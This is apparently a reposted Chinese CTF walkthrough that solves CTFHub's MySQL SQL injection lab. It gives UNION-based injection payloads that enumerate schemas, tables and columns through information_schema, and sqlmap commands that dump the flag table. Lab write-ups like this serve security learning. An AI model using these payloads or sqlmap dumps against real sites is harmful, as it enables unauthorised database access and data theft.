自学内容网 自学内容网

CTFHUB技能树之SQL——MySQL结构

开启靶场,打开链接:

先判断一下是哪种类型的SQL注入:

1 and 1=1#

正常回显


1 and 1=2#

回显错误,说明是整数型注入


判断一下字段数:

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2列


知道字段数量为2后,可以查看数据库位置

1 union select 1,2#

没有发现数据,猜测数据可能不存在数据库中,修改注入语句


1 and 1=2 union select 1,2#或者-1 union select 1,2#都行


(1)查看数据库名

-1 union select 1,database()#


(2)查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata#

可以发现sqli不是自带的数据库


(3)查看表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#


(4)查看列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ufnanbfswh'#


(5)查看字段内容(flag)

-1 union select 1,group_concat(cqnstcfhov) from sqli.ufnanbfswh#

ctfhub{3f3b08fb458cc15178c70beb}


接下来用sqlmap一把梭:

(1)查看数据库名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -dbs


(2)查看表名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -tables


(3)查看列名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -columns


(4)查看字段内容(flag)

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -C cqnstcfhov -dump


或者得知数据库名和表名的情况下直接梭出字段内容:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh --dump


要是时间够的话得知数据库名的情况下,直接一把梭:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli --dump


原文地址:https://blog.csdn.net/weixin_73049307/article/details/143021437

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!